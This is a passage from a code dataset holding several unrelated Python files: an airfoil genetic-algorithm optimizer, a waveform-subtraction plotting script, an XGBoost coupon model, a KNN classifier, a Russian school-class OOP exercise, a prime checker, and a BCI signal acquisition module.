m\nc_array = np.array(planform)\nS_array = (c_array[:-1] + c_array[1:])/2*dy\n\nS_real = 2*np.sum(S_array)\nMGC = round(np.sum((c_array[:-1] + c_array[1:])/2*S_array)/(S_real/2), 3)\n\nLambda_midc = np.sum(np.arctan(\n (c_array[1:] - c_array[0:-1])/(4*dy))*S_array)/S_real\n\nL = W0*g\nCL = round(L/(0.5*rho*V**2*S_real), 4)\n\nLr = L/(np.pi/4*b)\ncl_r = round(2*Lr/(rho*V**2*c_array[0]), 4)\nRe = (V*MGC)/nu\n\n# %% GA - Airfoil\n\n\ndef optimize_airfoil(population_size, max_generations, p_crossover,\n p_mutation):\n \"\"\"Airfoil optimization algorithm.\"\"\"\n hall_of_fame_size = 1\n\n toolbox = base.Toolbox()\n\n # Create fitness function class\n creator.create('FitnessMin', base.Fitness, weights=(-1.0,))\n\n # Create individual class\n creator.create('Individual', list, fitness=creator.FitnessMin)\n\n # Random wing sections generator\n def get_airfoil(y_stations):\n\n max_camber = round(random.randint(max_camber_min, max_camber_max), 0)\n max_camber_loc = round(random.randint(max_camber_loc_min,\n max_camber_loc_max), 0)\n max_tc = round(random.randint(max_tc_min, max_tc_max), 0)\n\n return [max_camber, max_camber_loc, max_tc]\n\n toolbox.register('generate_airfoil', get_airfoil, y_stations)\n\n # Create individual generator\n toolbox.register('individual_creator', tools.initIterate,\n creator.Individual, toolbox.generate_airfoil)\n\n # Create population generator\n toolbox.register('population_creator', tools.initRepeat, list,\n toolbox.individual_creator)\n\n # Fitness evaluation\n def get_wing_CDp(individual):\n\n alpha_array, cl_array, cd_array = interpolate_airfoil_polar(individual,\n Re)\n\n CDp = get_3D_aerodynamics(AR, Lambda_midc, cl_r, alpha_array, cl_array,\n cd_array)[-1]\n\n return CDp,\n\n # Define geneitc operators\n toolbox.register('evaluate', get_wing_CDp)\n toolbox.register('select', tools.selTournament, tournsize=6)\n # toolbox.register('mate', tools.cxSimulatedBinaryBounded,\n # low=(max_camber_min, max_camber_loc_min,\n # max_tc_min),\n toolbox.register('mate', tools.cxUniform, indpb=1/3)\n toolbox.register('mutate', tools.mutUniformInt,\n low=(max_camber_min, max_camber_loc_min, max_tc_min),\n up=(max_camber_max, max_camber_loc_max, max_tc_max),\n indpb=1/3)\n\n population = toolbox.population_creator(n=population_size)\n\n stats = tools.Statistics(lambda ind: ind.fitness.values)\n stats.register('min', np.min)\n stats.register('avg', np.mean)\n\n hof = tools.HallOfFame(hall_of_fame_size)\n\n population, logbook = algorithms.eaSimple(population, toolbox,\n cxpb=p_crossover,\n mutpb=p_mutation,\n ngen=max_generations,\n stats=stats, halloffame=hof,\n verbose=True)\n\n minFitnessValues, meanFitnessValues = logbook.select(\"min\", \"avg\")\n\n fig = plt.figure(dpi=1200)\n ax = fig.add_subplot(111)\n ax.plot(minFitnessValues, color='red', label='Min FV')\n ax2 = ax.twinx()\n ax2.plot(meanFitnessValues, color='green', label='Mean FV')\n ax.set_xlabel('Generation')\n ax.set_ylabel(r'$\\mathdefault{Minimum C_{D_{p}}}$')\n ax2.set_ylabel(r'Average $\\mathdefault{C_{D_{p}}}$')\n ax.set_xlim(left=0)\n\n# hof_file = open('airfoil_hof.txt', 'w')\n for i in range(hall_of_fame_size):\n max_cam = hof.items[i][0]\n max_cam_loc = hof.items[i][1]\n max_tc = hof.items[i][2]\n\n airfoil_name = ('NACA({0:.2f})({1:.2f})({2:.2f})'.format(\n max_cam, max_cam_loc, max_tc))\n\n naca_4_series(max_cam, max_cam_loc, max_tc, 100, plot_switch=True)\n alpha_array, cl_array, cd_array = runXfoil(airfoil_name, Re, -10, 10,\n 0.25)\n\n# CDp = hof.items[i].fitness.values[0]\n alpha_i = get_3D_aerodynamics(AR, Lambda_midc, cl_r, alpha_array,\n cl_array, cd_array)[0]\n\n # hof_file.write(airfoil_name + '\\t\\t')\n # hof_file.write('{0}\\t\\t'.format(CDp))\n # hof_file.write('{0}\\n'.format(alpha_i))\n\n if i == 0:\n best_airfoil = hof.items[i]\n best_alpha_i = alpha_i\n # hof_file.close()\n\n return best_airfoil, best_alpha_i\n\n\ndef main():\n\n airfoil, alpha_i = optimize_airfoil(50, 20, 0.5, 0.95)\n create_VSP_wing(b, planform, airfoil, alpha_i)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"2 - Conceptual Design/4 - Wing Design/airfoil_optimization.py","file_name":"airfoil_optimization.py","file_ext":"py","file_size_in_byte":6285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"521910857","text":"import matplotlib.pyplot as plt\nfrom matplotlib.ticker import EngFormatter\n\nimport sqlite3\nimport numpy as np\n\nfrom event_plotter.event_plotter import EventPlotter\nfrom event_analysis.event_analysis import EventAnalysis\n\n\ndef run(signal_period, test_trigid_list, temps_avant, temps_apres):\n\n for test_trigid in test_trigid_list:\n one_amplitude(signal_period, test_trigid, temps_avant, temps_apres)\n\n\ndef one_amplitude(signal_period, test_trigid, temps_avant, temps_apres):\n\n db_path = r\"/Users/gabrielduran/Trabajo/events_scripts/samples/RUN010_sample.sqlite\"\n\n db_con = sqlite3.connect(db_path)\n\n # test_trigid = 114733978\n\n channel = 2\n\n tester = \"STB029\"\n\n MyPlotter = EventPlotter()\n Analyst = EventAnalysis()\n\n # ax, *_ = MyPlotter.plot_single_event(test_trigid, channel, tester, 0, db_con=db_con)\n\n fig, axes = plt.subplots(3, 1)\n\n y1, t1 = Analyst.get_event_value_and_time(db_con, test_trigid, channel, tester)\n\n # signal_period = 1.6666e-6\n\n n_samples = len(y1)\n\n decalage_samples = n_samples - len(np.where(t1 > t1[0] + signal_period)[0])\n\n new_n_samples = n_samples + decalage_samples\n\n t2 = np.zeros(new_n_samples)\n\n extra_times = (t1[1] - t1[0]) * np.array(list(range(int(decalage_samples)))) + t1[-1]\n\n t2[n_samples:] = extra_times\n t2[:n_samples] = t1\n\n y2 = np.zeros(new_n_samples)\n y2[decalage_samples:] = y1\n\n y3 = np.append(y2[:-decalage_samples] - y1, y2[-decalage_samples:])\n\n marker = \"x\"\n markersize = 0.2\n\n axes[0].scatter(t1, y1, marker=marker, linewidths=markersize)\n axes[1].scatter(t2, y2, marker=marker, linewidths=markersize)\n axes[2].scatter(t2, y3, marker=marker, linewidths=markersize)\n\n for ax in axes:\n ax.xaxis.set_major_formatter(EngFormatter(unit=\"s\"))\n\n error_zone = np.where(t2 > temps_avant)\n error_zone_2 = np.where(t2[error_zone] < temps_apres) + error_zone[0][0] - 1\n\n error_y = y3[error_zone_2[0]]\n error_t = t2[error_zone_2[0]]\n\n for index, ax in enumerate(axes):\n if index in [0,1]:\n ax.set_xlim(left=t1.min(), right=t1.max())\n\n else:\n ax.set_xlim(left=temps_avant, right=temps_apres)\n\n plt.plot(error_t, error_y, c='r')\n\n my_min = error_y.min()\n my_max = error_y.max()\n\n print(\"min: \" + str(my_min) + \"; max: \" + str(my_max) + \"; amplitude: \" + str(my_max - my_min))\n\n fig.suptitle(\"Trigid: \" + str(test_trigid))\n\n plt.show()\n\n\ntest_trigid_list = [89237587] # , 114733974, 114734005, 114734051]\n\nsignal_period = 1.6666e-6\nrun(signal_period, test_trigid_list, temps_avant=-signal_period*0.6, temps_apres=signal_period*0.6)\n","sub_path":"soustraire_courbes.py","file_name":"soustraire_courbes.py","file_ext":"py","file_size_in_byte":2640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"46984225","text":"import datetime\r\nimport os\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport xgboost as xgb\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nfrom sklearn.metrics import auc, roc_curve\r\n\r\n\r\ndef get_processed_data():\r\n dataset1 = pd.read_csv('data_preprocessed_3/ProcessDataSet1.csv')\r\n dataset2 = pd.read_csv('data_preprocessed_3/ProcessDataSet2.csv')\r\n dataset3 = pd.read_csv('data_preprocessed_3/ProcessDataSet3.csv')\r\n\r\n dataset1.drop_duplicates(inplace=True)\r\n dataset2.drop_duplicates(inplace=True)\r\n dataset3.drop_duplicates(inplace=True)\r\n\r\n dataset12 = pd.concat([dataset1, dataset2], axis=0)\r\n\r\n dataset12.fillna(0, inplace=True)\r\n dataset3.fillna(0, inplace=True)\r\n\r\n return dataset12, dataset3\r\n\r\n\r\ndef train_xgb(dataset12, dataset3):\r\n predict_dataset = dataset3[['User_id', 'Coupon_id', 'Date_received']].copy()\r\n predict_dataset.Date_received = pd.to_datetime(predict_dataset.Date_received, format='%Y-%m-%d')\r\n predict_dataset.Date_received = predict_dataset.Date_received.dt.strftime('%Y%m%d')\r\n\r\n # 将数据转化为dmatric格式\r\n dataset12_x = dataset12.drop(\r\n columns=['User_id', 'Merchant_id', 'Discount_rate', 'Date_received', 'discount_rate_x', 'discount_rate_y',\r\n 'Date', 'Coupon_id', 'label'], axis=1)\r\n dataset3_x = dataset3.drop(\r\n columns=['User_id', 'Merchant_id', 'Discount_rate', 'Date_received', 'discount_rate_x', 'discount_rate_y',\r\n 'Coupon_id'], axis=1)\r\n\r\n train_dmatrix = xgb.DMatrix(dataset12_x, label=dataset12.label)\r\n predict_dmatrix = xgb.DMatrix(dataset3_x)\r\n\r\n # xgboost模型训练\r\n params = {'booster': 'gbtree',\r\n 'objective': 'binary:logistic',\r\n 'eval_metric': 'auc',\r\n 'gamma': 0.1,\r\n 'min_child_weight': 1.1,\r\n 'max_depth': 5,\r\n 'lambda': 10,\r\n 'subsample': 0.7,\r\n 'colsample_bytree': 0.7,\r\n 'colsample_bylevel': 0.7,\r\n 'eta': 0.02,\r\n # 'tree_method': 'gpu_hist',\r\n # 'gpu_id': '1',\r\n # 'n_gpus': '-1',\r\n 'seed': 0,\r\n 'nthread': cpu_jobs,\r\n # 'predictor': 'gpu_predictor'\r\n }\r\n\r\n # 使用xgb.cv优化num_boost_round参数\r\n cvresult = xgb.cv(params, train_dmatrix, num_boost_round=10000, nfold=2, metrics='auc', seed=0, callbacks=[\r\n xgb.callback.print_evaluation(show_stdv=False),\r\n xgb.callback.early_stop(40)\r\n ])\r\n num_round_best = cvresult.shape[0] - 1\r\n print('Best round num: ', num_round_best)\r\n\r\n # 使用优化后的num_boost_round参数训练模型\r\n watchlist = [(train_dmatrix, 'train')]\r\n model = xgb.train(params, train_dmatrix, num_boost_round=num_round_best, evals=watchlist)\r\n\r\n model.save_model('train_dir_2/xgbmodel4')\r\n params['predictor'] = 'cpu_predictor'\r\n model = xgb.Booster(params)\r\n model.load_model('train_dir_2/xgbmodel4')\r\n\r\n # predict test set\r\n dataset3_predict = predict_dataset.copy()\r\n dataset3_predict['label'] = model.predict(predict_dmatrix)\r\n\r\n # 标签归一化\r\n dataset3_predict.label = MinMaxScaler(copy=True, feature_range=(0, 1)).fit_transform(\r\n dataset3_predict.label.values.reshape(-1, 1))\r\n dataset3_predict.sort_values(by=['Coupon_id', 'label'], inplace=True)\r\n dataset3_predict.to_csv(\"train_dir_2/xgb_preds_6.csv\", index=None, header=None)\r\n print(dataset3_predict.describe())\r\n\r\n # 在dataset12上计算auc\r\n # model = xgb.Booster()\r\n # model.load_model('train_dir_2/xgbmodel')\r\n\r\n temp = dataset12[['Coupon_id', 'label']].copy()\r\n temp['pred'] = model.predict(xgb.DMatrix(dataset12_x))\r\n temp.pred = MinMaxScaler(copy=True, feature_range=(0, 1)).fit_transform(temp['pred'].values.reshape(-1, 1))\r\n print(myauc(temp))\r\n\r\n\r\n# 性能评价函数\r\ndef myauc(test):\r\n testgroup = test.groupby(['Coupon_id'])\r\n aucs = []\r\n for i in testgroup:\r\n tmpdf = i[1]\r\n if len(tmpdf['label'].unique()) != 2:\r\n continue\r\n fpr, tpr, thresholds = roc_curve(tmpdf['label'], tmpdf['pred'], pos_label=1)\r\n aucs.append(auc(fpr, tpr))\r\n return np.average(aucs)\r\n\r\n\r\nif __name__ == '__main__':\r\n start = datetime.datetime.now()\r\n print(start.strftime('%Y-%m-%d %H:%M:%S'))\r\n # log = '%s\\n' % start.strftime('%Y-%m-%d %H:%M:%S')\r\n cpu_jobs = os.cpu_count() - 1\r\n date_null = pd.to_datetime('1970-01-01', format='%Y-%m-%d')\r\n\r\n dataset12, dataset3 = get_processed_data()\r\n # analysis()\r\n # detect_duplicate_columns()\r\n # feature_importance_score()\r\n\r\n # grid_search_gbdt()\r\n # train_gbdt()\r\n # predict('gbdt')\r\n\r\n # grid_search_xgb()\r\n train_xgb(dataset12, dataset3)\r\n\r\n # print('predict: start predicting......')\r\n # # predict('xgb')\r\n # print('predict: predicting finished.')\r\n\r\n # log += 'time: %s\\n' % str((datetime.datetime.now() - start)).split('.')[0]\r\n # log += '----------------------------------------------------\\n'\r\n # open('%s.log' % os.path.basename(__file__), 'a').write(log)\r\n # print(log)\r\n print(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'))\r\n print('time costed is: %s s' % (datetime.datetime.now() - start).seconds)","sub_path":"Anaylsis/xgb_predict.py","file_name":"xgb_predict.py","file_ext":"py","file_size_in_byte":5277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"474173555","text":"import dataExtractor as de\nimport torch\n\na = de.DataAdjust('data/test_data.csv',drop=False)\n\ntest = de.TrajDataSet(a.get_data_Frame(),mem_nb=3)\ntest_loader = torch.utils.data.DataLoader(test,batch_size=1,shuffle=False)\n#state = next(iter(test_loader))\n#exemple = test[0]\n#print(f'\\n---------------\\n Voici notre état \\n {state} \\n ---------------')\n#print(f'Voici ce que nous renvoie le 10 élément de test \\n {exemple} \\n ---------------')\n#print(f'Le contenu de test avant le passage à torch : \\n {test.get_traj()[0:3]} \\n ---------------')\n#print(f'La shape de notre Tenseur renvoyé par le test_loader : state {state[0].shape} et action {state[1].shape}')\n\n############# Test du Réseau de neurones \nprint('Avant les test.')\ncouche = torch.nn.Linear(2, 2)\n\n(state,action) = next(iter(test_loader))\naction = couche.forward(state.float())\n\noutput = couche(state.float())\nprint(state.numpy()[0][0])\nprint('Test réussi')\n","sub_path":"Network_with_memory/buufer_tester.py","file_name":"buufer_tester.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"210510702","text":"\"\"\"\n=================================================================================================================\nЗадание-37:\nРеализуйте описаную ниже задачу, используя парадигмы ООП:\nВ школе есть Классы(5А, 7Б и т.д.), в которых учатся Ученики. У каждого ученика есть два Родителя(мама и папа).\nТакже в школе преподают Учителя, один учитель может преподавать в неограниченном кол-ве классов\nсвой определенный предмет. Т.е. Учитель Иванов может преподавать математику у 5А и 6Б, но больше математику не\nможет преподавать никто другой.\n\nВыбранная и заполненная данными структура должна решать следующие задачи:\n1. Получить полный список всех классов школы (DONE+)\n2. Получить список всех учеников в указанном классе (каждый ученик отображается в формате \"Фамилия И.О.\") (DONE+)\n3. Получить список всех предметов указанного ученика (Ученик --> Класс --> Учителя --> Предметы) (DONE)\n4. Узнать ФИО родителей указанного ученика (DONE+)\n5. Получить список всех Учителей, преподающих в указанном классе (DONE+)\n=================================================================================================================\n\"\"\"\n\n\nclass Common:\n def __init__(self, name, surname, birth_date, school):\n self.name = name\n self.surname = surname\n self.birth_date = birth_date\n self.school = school\n\n def get_full_name(self):\n return \"Полное имя: {}\".format(self.name + ' ' + self.surname)\n\n\nclass Student(Common):\n def __init__(self, name, surname, birth_date, school, class_room, father, mother):\n Common.__init__(self, name, surname, birth_date, school)\n self._class_room = {'class_num': int(class_room.split()[0]),\n 'class_char': class_room.split()[1]}\n self.father = father\n self.mother = mother\n\n @property\n def get_short_name(self):\n return self.surname + ' ' + self.name[0] + '.' + self.father[0] + '.'\n\n @property\n def parents(self):\n parents_names = str(self.father) + ' и ' + str(self.mother)\n return \"Родители ученика '{}': {}\".format(self.get_short_name, parents_names)\n\n @property\n def class_room(self):\n return \"{} {}\".format(self._class_room['class_num'], \\\n self._class_room['class_char'])\n\n def list_of_classes(self, students):\n list_of_classes = []\n for Student in students:\n if Student.class_room not in list_of_classes:\n list_of_classes.append(Student.class_room)\n print(\"Список всех классов школы: {}\".format(list_of_classes))\n\n def classmates(self, students):\n list_of_classes = []\n for Student in students:\n if Student.class_room not in list_of_classes:\n list_of_classes.append(Student.class_room)\n\n for i in list_of_classes:\n classmates = []\n for Student in students:\n if i == Student.class_room:\n classmates.append(Student.get_short_name)\n a = Student.class_room\n print(\"Список учеников класса {}: {}\".format(a, classmates))\n\n\nclass Teacher(Common):\n def __init__(self, name, surname, birth_date, school, teach_classes, discipline):\n Common.__init__(self, name, surname, birth_date, school)\n self.teach_classes = list(teach_classes)\n self.discipline = list(discipline)\n\n def list_of_teachers(self, teachers):\n list_of_classes2 = []\n for Teacher in teachers:\n for i in self.teach_classes:\n if i not in list_of_classes2:\n list_of_classes2.append(i)\n for j in list_of_classes2:\n list_of_teachers = []\n for Teacher in teachers:\n if j in Teacher.teach_classes:\n list_of_teachers.append(Teacher.get_full_name())\n print(\"Список учителей класса {}: {}\".format(j, list_of_teachers))\n\ndef list_of_disciplines(students, teachers):\n for Student in students:\n courses = []\n for Teacher in teachers:\n if Student.class_room in Teacher.teach_classes:\n courses.append(Teacher.discipline)\n print(\"Список предметов уч-ка {}: {}\".format(Student.get_short_name, courses))\n\nstudents = [Student(\"Александр\", \"Иванов\", '10.11.1998', \"Лицей №5\", \"5 А\", \"Семён\", \"Ольга\"),\n Student(\"Анастасия\", \"Соколова\", '10.05.1998', \"Лицей №5\", \"5 А\", \"Василий\", \"Наталья\"),\n Student(\"Алексей\", \"Сидоров\", '12.03.1998', \"Лицей №5\", \"5 Б\", \"Дмитрий\", \"Елена\"),\n Student(\"Василиса\", \"Сидорова\", '07.04.1998', \"Лицей №5\", \"5 Б\", \"Дмитрий\", \"Елена\"),\n Student(\"Матвей\", \"Чижиков\", '11.05.1998', \"Лицей №5\", \"5 В\", \"Константин\", \"Валерия\"),\n Student(\"Дмитрий\", \"Питонов\", '16.06.1998', \"Лицей №5\", \"5 В\", \"Станислав\", \"Екатерина\"),\n Student(\"Алёна\", \"Комиссарова\", '15.04.1996', \"Лицей №5\", \"7 А\", \"Василий\", \"Марина\"),\n Student(\"Никита\", \"Фича\", '03.05.1996', \"Лицей №5\", \"7 А\", \"Сергей\", \"Оксана\"),\n Student(\"Анна\", \"Обновлюха\", '11.02.1996', \"Лицей №5\", \"7 Б\", \"Александр\", \"Ксения\"),\n Student(\"Петр\", \"Владимиров\", '17.06.1996', \"Лицей №5\", \"7 Б\", \"Алексей\", \"Анастатия\"),\n Student(\"Мария\", \"Петрова\", '12.07.1996', \"Лицей №5\", \"7 Б\", \"Николай\", \"Маргарита\"),\n ]\n\nteachers = [Teacher(\"Сергей\", \"Михайлов\", '07.10.1978', \"Лицей №5\", [\"7 А\", \"7 Б\"], \\\n [\"Информатика\", \"Физкультура\"]),\n Teacher(\"Леонид\", \"Вассерман\", '10.03.1965', \"Лицей №5\", [\"5 А\", \"5 Б\", \"5 В\", \"7 А\", \"7 Б\"], \\\n [\"Алгебра\", \"Геометрия\", \"Физика\"]),\n Teacher(\"Валентина\", \"Вассерман\", '10.03.1971', \"Лицей №5\", [\"7 А\", \"7 Б\"], [\"Химия\", \"Биология\"]),\n Teacher(\"Екатерина\", \"Васильева\", '10.03.1995', \"Лицей №5\", [\"5 А\", \"5 Б\", \"5 В\", \"7 А\", \"7 Б\"], \\\n [\"Иностранный язык\"]),\n Teacher(\"Анна\", \"Добрая\", '10.03.1965', \"Лицей №5\", [\"7 А\", \"7 Б\"], [\"История\", \"Обществознание\"]),\n Teacher(\"Валентина\", \"Петр��ва\", '11.09.1959', \"Лицей №5\", [\"5 А\", \"5 Б\", \"5 В\", \"7 А\", \"7 Б\"], \\\n [\"Русский язык\", \"Литература\"]),\n ]\n\nprint(\"=========================РОДИТЕЛИ УЧЕНИКА=============================\")\nprint(students[0].parents)\n\nprint(\"==============================КЛАССЫ==================================\")\nlist_of_classes1 = []\nfor Student in students:\n if Student.class_room not in list_of_classes1:\n list_of_classes1.append(Student.class_room)\nprint(\"Список всех классов школы: {}\".format(list_of_classes1))\n\n# ИЛИ:\nprint(Student.list_of_classes(students))\n\nprint(\"==========================УЧИТЕЛЯ КЛАССОВ=============================\")\nfor i in list_of_classes1:\n list_of_teachers = []\n for Teacher in teachers:\n if i in Teacher.teach_classes:\n list_of_teachers.append(Teacher.get_full_name())\n print(\"Список учителей класса {}: {}\".format(i, list_of_teachers))\n\n# ИЛИ:\nprint(\"_______________________________ИЛИ:___________________________________\")\nprint(Teacher.list_of_teachers(teachers))\n\nprint(\"=========================УЧЕНИКИ КЛАССОВ==============================\")\nfor i in list_of_classes1:\n classmates1 = []\n for Student in students:\n if i == Student.class_room:\n classmates1.append(Student.get_short_name)\n print(\"Список учеников класса {}: {}\".format(i, classmates1))\n\n# ИЛИ:\nprint(\"_______________________________ИЛИ:___________________________________\")\nprint(Student.classmates(students))\n\nprint(\"=========================ПРЕДМЕТЫ УЧЕНИКА=============================\")\n\n# Преподаватель обязательно ведёт все свои предметы во всех своих классах\nfor Student in students:\n courses = []\n for Teacher in teachers:\n if Student.class_room in Teacher.teach_classes:\n courses.append(Teacher.discipline)\n print(\"Список предметов уч-ка {}: {}\".format(Student.get_short_name, courses))\n\n# ИЛИ:\nprint(\"_______________________________ИЛИ:___________________________________\")\nprint(list_of_disciplines(students, teachers))\n\nprint(\"=====================СПИСОК ВСЕХ УЧЕНИКОВ ШКОЛЫ=======================\")\nfor num, Student in enumerate(students, start=1):\n print(\"{}) {} {} {}\".format(num, Student.get_short_name, Student.class_room, Student.parents))\nprint(\"==============================TEST====================================\")\nprint(students[2].get_full_name())\nprint(students[2].get_short_name)\nprint(students[2].class_room)\nprint(teachers[1].get_full_name())\nprint(teachers[1].teach_classes)\nprint(teachers[1].discipline)\n","sub_path":"Python: level 1 (typical exs.)/Exercise_37.py","file_name":"Exercise_37.py","file_ext":"py","file_size_in_byte":10320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"644421106","text":"from sklearn.utils import shuffle\n\nclass KNeighborsClassifier():\n def __init__(self, n_neighbors=5):\n self.n_neighbors = n_neighbors\n self.X=None\n self.y=None\n self.y_list=None\n self.dimension=1\n\n def fit(self, X, y):\n if not isinstance(X, list) or not isinstance(y, list):\n raise ValueError('Input type has to be list')\n self.X, self.y = shuffle(X, y, random_state=0)\n self.y_list=list(set(y))\n self.dimension = len(self.X[0])\n\n def predict(self, X):\n pred_results = []\n for target_x in X:\n predict=''\n dists=[]\n neighbors=[]\n labels = list(self.y)\n\n for i in range(len(self.X)):\n dist = 0\n for j in range(self.dimension):\n dist += (self.X[i][j] - target_x[j])**2\n dists.append(dist)\n\n for i in range(self.n_neighbors):\n neighbors.append(self.__get_min(dists, labels))\n\n last_min_x = neighbors[self.n_neighbors-1][0]\n while last_min_x == min(dists):\n neighbors.append(self.__get_min(dists, labels))\n\n neighbor_labels = [i[1] for i in neighbors]\n max_cnt=0\n for label in self.y_list:\n cnt = neighbor_labels.count(label)\n if max_cnt < cnt :\n max_cnt = cnt\n predict = label\n\n pred_results.append(predict)\n if len(pred_results)==1 :\n return pred_results[0]\n return pred_results\n\n def __get_min(self, dists, labels):\n min_x = min(dists)\n min_index = dists.index(min_x)\n result = list([min_x, labels[min_index]])\n dists.remove(min_x)\n del labels[min_index]\n return result","sub_path":"Data/knn-classifier/knn_classifier.py","file_name":"knn_classifier.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"471755606","text":"def AsalSayi(sayi):\n if (sayi > 1):\n for i in range(2,sayi):\n if (sayi % i == 0):\n return False\n return True\n\n else:\n return False\n\n\nwhile True:\n if(AsalSayi(int(input(\"Asallığını sorgulamak istediğiniz sayıyı girin: \")))):\n print(\"Sayınız Asal\")\n else:\n print(\"Sayınız asal değil\")\n","sub_path":"AsalSayıSorgulama.py","file_name":"AsalSayıSorgulama.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"187114156","text":"# Copyright (c) James Percent and Unlock contributors.\n# All rights reserved.\n# Redistribution and use in source and binary forms, with or without modification,\n# are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n# \n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n#\n# 3. Neither the name of Unlock nor the names of its contributors may be used\n# to endorse or promote products derived from this software without\n# specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nimport sys\nimport time\n\nimported_neural_signal = False\nno_bci = False\n\ntry:\n #from unlock.bci.acquire.neuralsignal import create_timer\n from unlock.bci.acquire.random_signal import create_timer, create_random_signal\n imported_neural_signal = True\nexcept:\n assert sys.platform == 'darwin' or sys.platform == 'linux'\n no_bci = True\n\ntry:\n from unlock.bci.acquire.mobilab_signal import create_nonblocking_mobilab_signal\nexcept Exception as e:\n print(\"unlock/acquire.__init__.py: mobilab not present\", e)\n\ntry:\n from unlock.bci.acquire.enobio_signal import create_nonblocking_enobio_signal\nexcept:\n print(\"unlock/acquire.__init__.py: enobio not present\")\n\ntry:\n from unlock.bci.acquire.nidaq_signal import create_nidaq_signal\nexcept:\n print(\"unlock/acquire.__init__.py: nidaq not present\")\n\nfrom unlock.bci.acquire.audio_signal import *\nfrom unlock.bci.acquire.file_signal import *\n\nclass NoBciRandomSignal(object):\n def __init__(self,channels=8, seed=42, lower_bound=1, upper_bound=65536):\n super(NoBciRandomSignal, self).__init__()\n import random\n self.chans = channels\n self.rand = random.Random()\n self.rand.seed(seed)\n self.lower_bound = lower_bound\n self.upper_bound = upper_bound\n \n def open(self, macaddr):\n self.mac = macaddr\n return True\n \n def init(self, channels):\n self.chans = channels\n return True\n \n def channels(self):\n return self.chans\n \n def start(self):\n return True\n \n def acquire(self):\n return 1 * self.chans\n \n def getdata(self, samples):\n import numpy as np\n ret = np.array([float(self.rand.randint(self.lower_bound, self.upper_bound)) for i in range(0, samples)])\n ret[-1] = 0\n return ret\n \n def getEaplsedMicros(self):\n pass\n \n def timestamp(self):\n pass\n \n def stop(self):\n pass\n \n def close(self): \n pass\n\nclass BasicTimer(object):\n def __init__(self):\n self.start = time.time()\n\n def elapsedMicroSecs(self):\n return time.time() - self.start\n\n\nclass UnlockAcquisitionFactory:\n def __init__(self):\n if imported_neural_signal:\n self.timer = create_timer()\n else:\n self.timer = BasicTimer()\n\n def create_nidaq_signal(self):\n signal = create_nidaq_signal(self.timer)\n if not signal.start():\n raise RuntimeError('Failed to start National Instruments DAQ')\n return signal\n #for j in range(50):\n # ret = daq.acquire()\n # ret = daq.getdata(ret)\n # f = open('test.data', 'wb')\n # import numpy as np\n # a = np.array(ret, dtype='float64')\n # a = a.reshape((500, 4))\n # #np.savetxt(f, a, fmt='%d', delimiter='\\t')\n # for i in range(20):\n # print(a[i])\n #\n\n def create_audio_signal(self):\n signal = AudioSignal()\n if not signal.start():\n raise RuntimeError('failed to start audio signal')\n return signal\n\n def create_enobio_signal(self, mac_addr):\n assert 'mac_addr' in self.config['signal']\n mac_addr = [int(value,0) for value in [x.strip() for x in self.config['signal']['mac_addr'].split(',')]]\n signal = create_nonblocking_enobio_signal(self.timer)\n if not signal.open(mac_addr):\n print('enobio did not open')\n raise RuntimeError('enobio did not open')\n if not signal.start():\n print('enobio device did not start streaming')\n raise RuntimeError('enobio device did not start streaming')\n return signal\n\n def create_mobilab_signal(self, com_port, analog_channels_bitmask):\n from unlock.bci import acquire\n signal = create_nonblocking_mobilab_signal(\n self.timer, analog_channels_bitmask, 0, com_port)\n\n if not signal.start():\n print('mobilab device did not start streaming')\n raise RuntimeError('mobilab device did not start streaming')\n return signal\n\n def create_file_signal(self, timer):\n from unlock.bci import acquire\n timer = acquire.create_timer()\n raise Exception(\"FIX ME\")\n signal = acquire.MemoryResidentFileSignal(self.config['bci']['signal']['file'], timer, channels=17) #analysis/data/valid/emg_signal_1380649383_tongue_c.5_r.5_i1.txt',\n\n if not signal.start():\n print('file signal failed to start; filename = ', self.config['filename'])\n raise RuntimeError('file signal failed to start')\n return signal\n\n def create_random_signal(self):\n if no_bci:\n signal = NoBciRandomSignal()\n else:\n from unlock.bci import acquire\n signal = create_random_signal(self.timer)\n signal.open([])\n signal.start()\n return 